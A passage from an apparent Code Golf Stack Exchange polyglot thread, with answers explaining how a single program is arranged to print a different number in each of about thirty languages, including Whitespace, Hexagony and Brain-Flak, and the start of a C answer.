that Brain-Flak output the value 2. So I set out to learn it. Brain-Flak turned out to be pretty great for this kind of challenge because it's fairly easy to learn and it ignores pretty much any characters except `(){}[]<>`. `#` also happens to comment anything after it on the same line, so the only part of the last submission that was ever considered for Brain-Flak was `print((eval("1\x2f2")and 9 or 13)-(0and 4)^1<<65>>62)` which then paired down to `((())()<<>>)`. So then the plan became adding superfluous parenthesis to what I've come to think of as the python code. I modified the python bits to parse in Brain-Flak to `((() () ())()()<<()>>)` which equates to 2 stacks the first being 5 and the second being 3. After that I'm squaring the 5 with `({({})({}[()])}{})` and adding the result to 3 with `({}{})`. This squaring and adding is going on in a string from a Python perspective. I can't claim to understand Python's reasoning here, but I am fairly confident that this string isn't otherwise being evaluated by other languages in a meaningful way, with only a couple exceptions. Japt, it turns out, interprets curly braces within a string as containing code, but these were easy enough to escape out with `\` before each `{` in this string. But this bloated up the byte count. Such is life. Prelude was pretty forgiving with all of my parentheses. An earlier comment pointed out that Prelude would have fits with vertically aligned Parentheses and I happened to only create one. Sweet! The `(` in the top line lined up with the and `(9` in the big line. So I had to add an additional space before the `(` in the top line. My assumption here is that the double space was a comment indicator for something, so adding an additional space seemed trivial, and it worked. I should point out that I tried adding a additional spaces in the `(9)` instead, but Cardinal didn't cooperate. 05AB1E didn't like my first attempt at the Python string being encapsulated in double quotes, but everyone seemed agreeable to using single quotes. Not a big deal there. Hexagony was the only language left at this point, and I was obviously way past the next hex size threshold, so it was time to get dirty. The `/^23!@` is the Hexagony code and I'm super excited about it, because I think it'll make future additions much easier. This little piece can basically be moved anywhere in the python string without busting any code. This is the full string just so we're all on the same page `'(\{(\{})(\{}\/^23!@[()])}\{})(\{}\{})'`. The `/` here sets the path of Hexagony from SE ->NW to W-> E down this string, which we have a lot of leeway with. (The preceding `\` is to escape `/` for thutu BTW). My idea here is if you make changes, odds are that you'll end up going through this string at some point and you can slide the Hexagony piece around within the string to catch the code path and send it to the proper conclusion. Just take care not to come between Japt's `\` and the `{`. If you have trouble with this, the `@` to the right of the string is just left over from another Hexagony solution, and can be removed without consequence to the other languages. And of course if you happen to catch Hexagony's code path going the opposite direction, you can of course use `@!32^\` instead of `/^23!@`. Also, you may notice that my solution removed the `===2` from the code to keep things under the byte limit. Someone mentioned in here that this was for Hexagony's alignment and I didn't need it anymore. Finally, [here](https://tio.run/nexus/cjam#PY3NTsJAFIVfZZiR9N7WMsxtGaC0TRdduWBhl/wFBZEEW4EG0f48g3vfzhepEI05J@dLvs1pdoldLG5dExz5svdi1a4Ko2NVb3ERA0n7Y5GYcWRHEhJzHB0r2TTipLTkPtfyobOPOHgeep7HGAMiTMQodblyuQidsY5ULytDNjfzPDdry6rrui2COr3z77kiPhIT4Zevh22aA6xPyx1wNT3TE3FcpisGQ2TZgYFyEG3oXpWLc1Do@6B7GIaaMDsYMC0urfA6UzknpxVNAGdY/csLDRG5GgbW8C9BCwPx@6z6KGZi/ficMVKilIGS5AbnYNiVYvD9@bXabLZ0IStVqW@kNAzqMSbC4/KdUV9w0j8) is a little piece of code I found while exploring codegolf that converts a line of text into a Hexagony readable hexagon so you can debug. I'm sure plenty of people know about this, but I hadn't seen it posted here, so it might help someone else too. Fair warning, you have to alter the input to remove the back ticks and carriage returns as well as swap the literal escape for something that takes up normal amount of space to get the code to line things up in a pretty Hexagon. P.S. While I was writing this out, I realized I had a mistake. I had believed I was clearing Hexagony's memory edge for with the `^`, but apparently I can replace it with a no-op to no consequence. That `^` should probably be a `+` if you try to manipulate this section. I was apparently passing through a `+` prior to this, but future polyglotters may not be so lucky. Good Luck! [Answer] # 30. [Whitespace](https://web.archive.org/web/20150618184706/http://compsoc.dur.ac.uk/whitespace/tutorial.php), 296 bytes ``` #v`16/"<"6/b.q@"(: ::T): ␉␉␉␉ :(22)S#;n4"14" #>3N6@15o|>␉^*ttt*~++~~~% #=~nJ<R"12"; ␉ #[␉ #`<`| print((eval("1\x2f2")and (9)or(13))-(0and 4)^(1)<<(65)>>62)or'(\{(\{})(\{\/+23!@}[()])}\{})(\{}\{})'#46(8+9+9+9+9+=!)=#print(17)#]#echo 21#|/=1/24=x=90/ #8␛dggi2␛␉` |1|6$//''25 #>say␉␉ 27#T222999"26 ``` ␛ represents literal escapes. ␉ represents literal tabs. This program prints [**30** in Whitespace](https://tio.run/nexus/whitespace#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**29** in Trigger](https://tio.run/nexus/trigger#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**28** in Brain-Flak](https://tio.run/nexus/brain-flak#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**27** in Perl 6](https://tio.run/nexus/perl6#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**26** in 05AB1E](https://tio.run/nexus/05ab1e#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**25** in Pip](https://tio.run/nexus/pip#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**24** in Thutu](https://tio.run/nexus/thutu#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**23** in Hexagony](https://tio.run/nexus/hexagony#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**22** in Underload](https://tio.run/nexus/underload#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**21** in Nim](https://tio.run/nexus/nim#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**20** in Prelude](https://tio.run/nexus/prelude#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), **19** in Reng (tested [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/)), [**18** in Cardinal](https://tio.run/nexus/cardinal#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**17** in Julia](https://tio.run/nexus/julia5#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**16** in Pyth](https://tio.run/nexus/pyth#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**15** in Haystack](https://tio.run/nexus/haystack#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**14** in Turtlèd](https://tio.run/nexus/turtled#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**13** in Ruby](https://tio.run/nexus/ruby#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**12** in Fission](https://tio.run/nexus/fission#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**11** in Befunge-98](https://tio.run/nexus/befunge-98#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**10** in Befunge-93](https://tio.run/nexus/befunge#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**9** in Perl 5](https://tio.run/nexus/perl#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**8** in Retina](https://tio.run/nexus/retina#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**7** in Japt](https://tio.run/nexus/japt#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**6** in SMBF](https://tio.run/nexus/smbf#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**5** in Python 2](https://tio.run/nexus/python2#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**4** in ><>](https://tio.run/nexus/><>#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**3** in Minkolang](https://tio.run/nexus/minkolang#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**2** in V/Vim](https://tio.run/nexus/v#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), and [**1** in Python 3](https://tio.run/nexus/python3#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw). Whitespace is another esolang with a limited character set. This one only reads tabs, spaces, and line feeds. So once we take out all the stuff that Whitespace doesn’t read we’re left with the following code: ``` [space][space][space][LF] [space][LF] [LF] [LF] [LF] [space][space][space][space][space][LF] [space][space][space][space] ``` And the code to output 30 is this: ``` [space][space][space][tab][tab][tab][tab][space][LF] [tab][LF] [space][tab] ``` So the top 3 lines of the existing code were given extra spaces at the end of lines to meet the requirements. Note that line 1’s tabs and trailing space are in the middle of the line to accommodate ><>’s needs. Line 2’s space was changed to a tab here. This seems to function Identically to a space for the 2D languages, but visually it doesn’t line up anymore. ¯\\_(ツ)\_/¯ After the instructions to output 30, the game became getting the rest of the necessary spaces and line feeds to do pointless things and compile correctly. White space happens to have instructions that mark/goto a code location with a label that allows for an arbitrary number of tabs and spaces, so that helped couch the long line’s spaces. It also starts and ends with a line feed, so that helped us up some of the line feeds in lines 3-6. The final line couldn’t have a linefeed without breaking Retina, so its instructions are to do some arbitrary math and stack manipulation. Here’s the full code with spaces, tabs, and linefeeds replaced with our notation: ``` #v`16/"<"6/b.q@"(:[Space]::T):[Space][Space][Tab][Tab][Tab][Tab][Space]:(22)S#;n4"14"[LF] #>3N6@15o|>[Tab]^*ttt*~++~~~%[LF] #=~nJ<R"12";[Space][Tab][LF] #[[Tab][LF] #`<`|[LF] print((eval("1\x2f2")and[Space](9)or(13))-(0and[Space]4)^(1)<<(65)>>62)or'(\{(\{})(\{\/+23!@}[()])}\{})(\{}\{})'#46(8+9+9+9+9+=!)=#print(17)#]#echo[Space]21#|/=1/24=x=90/[LF] #8␛dggi2␛[Tab]`[Space]|1|6$//''25[Space][Space]#>say[Tab][Tab][Space]27#T222999"26[LF] ``` And here is a commented version of just the Whitespace: ``` Push 30 onto the stack [space][space][space][tab][tab][tab][tab][space][LF] Output the number at the top of the stack [tab][LF][space][tab] Jump to label null if the top of the stack is negative. (it's not) [LF][Tab][LF] Label this location as [Space] [LF][Space][Space][Space][LF] Add the top two items on the stack and replace them with the result. [Tab][Space][Space][Space] Store the stack. [Tab][Tab][Space] ``` Edits: Hexagony turns out to skip over tabs just like spaces, contrary to my previous assertion. @ais523 was kind enough to update @Kenney's Hexagonizer to account for literal escapes and tabs. I had to modify it to correct my prior assertion about tabs being read as no-ops and to replace literal escapes with `.` because the `␛` character is wider than other characters, making the hex slightly misaligned. [Here the link](https://tio.run/nexus/perl#LVBNc9owED3DX@CiWFssoeBFwjgYWx7OOfTQ5IYJdsAQOtROMWFgjP3XqaDRx672ad@8J12/yox8HdbjoNoVy3QHGMBCh1FQlzhLYtKK8zniJjhjBx0MKgY7fUbEJY8YfGgphj0hIO8xyPuS8253n62KGkoNC8d27JNp6sOOB@tizyDVkAeQhgxWWvXuDFMKwStDaEp0KkhrhG6c46NB9tkx25cZg5IbOhk4jqyNud/FNgd8/JN@Vswm9omk7@VNHrZC3Dw4sLgZaDB@EcZ5aTIS6Jrj536bH65Xekykh1Zoefju/J1abEImk1c@IaRlBpkwpfgLDXLXkq7VptHwpzeVo@IStd56h8Oh1wjRNM2PNtVN/hz@sqSyAtJq05nZSZhc2ncdxrJjumOWjE9qrSye5ivCfG7@QQ4577PBDXD5G5M8DJk34lHkKXNts7gyq@YmxCjU8GFazxif8/obvGebuh4bC/976geu6X9Z@cTpnGbLj4IoSS@oJSpXn7Q/wDYdd1abzVZ1Wgm5yIsHiLatRoTQqEzP5u3qib4qpXzft5T3Dw). And this is our corrected current Hex: ``` # v 1 6 / " < " 6 / b . q @ " ( : : : T ) : : ( 2 2 ) S # ; n 4 " 1 4 " # > 3 N 6 @ 1 5 o | > ^ * t t t * ~ + + ~ ~ ~ % # = ~ n J < R " 1 2 " ; # [ # < | p r i n t ( ( e v a l ( " 1 \ x 2 f 2 " ) a n d ( 9 ) o r ( 1 3 ) ) - ( 0 a n d 4 ) ^ ( 1 ) < < ( 6 5 ) > > 6 2 ) o r ' ( \ { ( \ { } ) ( \ { \ / + 2 3 ! @ } [ ( ) ] ) } \ { } ) ( \ { } \ { } ) ' # 4 6 ( 8 + 9 + 9 + 9 + 9 + = ! ) = # p r i n t ( 1 7 ) # ] # e c h o 2 1 # | / = 1 / 2 4 = x = 9 0 / # 8 . d g g i 2 . | 1 | 6 $ / / ' ' 2 5 # > s a y 2 7 # T 2 2 2 9 9 9 " 2 6 . . . . . . . ``` Finally, I golfed out some needless characters, mostly added previously to line up Prelude parenthesis and Hexagony hexagons. Nim’s code is back to `echo 21` from `echo 5+5+11` Hexagony’s `#@46` is now `#46` Hexagony’s code is back to `/+23!@=` from `/+23!@` Prelude’s parenthetical alignment of `(9) or (13)` became `(9)and(13)` Well, that’s all I got. Good Luck everyone! [Answer] # 38. C, 804 bytes ``` # 1"16" 3//v\(@#/;n4"14" #/*`3 auaaZ<>16/"<"6/b.q@")(22)S# ␉␉␉␉ #yy␉;36!@ # ␉ #=␉> #[#yy#yy0l0mx01k1k0l0ix0jx0h0h1d111P0eU0bx0b0o1d0b0e0e00x1d0i0fx0g0n0n11x0o0n0cx0c0o0f0c0gx0g0f0h0j0j0i0001k10mx0m0l11111100(^_) #`<`␉| print((eval("1\x2f2")and( 9 )or(13 ))-(0and 4)^1<<(65)>>(62))or'(\{(\{})(\{}[()])}\{}\{}\{})'#46(8+9+9+9+9+=!)#1|=/=1/24=x=9[<$+@+-@@@@=>+<@@@=>+<?#>+.--.]/ __DATA__=1#// #.\."12"*␉ """"#// =begin␉// # #*/␉ #define␉z sizeof 'c'-1?"38":"37" #include␉<stdio.h> int main() /*/ #()`#`\'*/{puts(z);;}/*'`` $'main'␉// #-3o4o#$$$ <>3N.<>␉// #xx 